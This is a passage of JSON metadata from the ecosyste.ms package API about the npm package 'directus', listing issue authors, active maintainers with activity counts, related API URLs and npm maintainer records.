:"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/joselcvarela"},{"login":"AlexGaillard","count":123,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/AlexGaillard"},{"login":"jaads","count":84,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jaads"},{"login":"ComfortablyCoding","count":82,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ComfortablyCoding"},{"login":"bryantgillespie","count":77,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/bryantgillespie"},{"login":"HZooly","count":75,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/HZooly"},{"login":"connorwinston","count":56,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/connorwinston"},{"login":"azrikahar","count":52,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/azrikahar"},{"login":"nickrum","count":21,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/nickrum"},{"login":"VincentKempers","count":18,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/VincentKempers"},{"login":"w0kyj","count":15,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/w0kyj"},{"login":"ConnorSimply","count":11,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ConnorSimply"},{"login":"wrynegade","count":10,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/wrynegade"},{"login":"djigoio","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/djigoio"},{"login":"benhaynes","count":4,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/benhaynes"},{"login":"ukmadlz","count":3,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ukmadlz"},{"login":"andrewalfaro1","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/andrewalfaro1"},{"login":"MengNianxiaoyao","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/MengNianxiaoyao"},{"login":"Megabyte-webdev","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/Megabyte-webdev"},{"login":"v1ckych3n","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/v1ckych3n"},{"login":"hkiyomaru","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/hkiyomaru"},{"login":"leandrohstein","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/leandrohstein"}],"active_maintainers":[{"login":"br41nslug","count":87,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/br41nslug"},{"login":"HZooly","count":73,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/HZooly"},{"login":"ComfortablyCoding","count":63,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ComfortablyCoding"},{"login":"AlexGaillard","count":62,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/AlexGaillard"},{"login":"bryantgillespie","count":51,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/bryantgillespie"},{"login":"rijkvanzanten","count":42,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/rijkvanzanten"},{"login":"Nitwel","count":36,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/Nitwel"},{"login":"hanneskuettner","count":12,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/hanneskuettner"},{"login":"licitdev","count":10,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/licitdev"},{"login":"connorwinston","count":4,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/connorwinston"},{"login":"joselcvarela","count":3,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/joselcvarela"},{"login":"andrewalfaro1","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/andrewalfaro1"},{"login":"djigoio","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/djigoio"},{"login":"v1ckych3n","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/v1ckych3n"},{"login":"w0kyj","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/w0kyj"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/directus/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/directus/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/directus/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/directus/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/directus/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/directus/codemeta","maintainers":[{"uuid":"benhaynes","login":"benhaynes","name":null,"email":"ben@rngr.org","url":null,"packages_count":60,"html_url":"https://www.npmjs.com/~benhaynes","role":null,"created_at":"2022-11-17T21:40:31.256Z","updated_at":"2022-11-17T21:40:31.256Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/benhaynes/packages"},{"uuid":"rijk","login":"rijk","name":null,"email":"rijkvanzanten@me.com","url":null,"packages_count":143,"html_url":"https://www.npmjs.com/~rijk","role":null,"created_at":"2022-11-17T21:40:31.263Z","updated_at":"2022-11-17T21:40:31.263Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/rijk/packages"}]}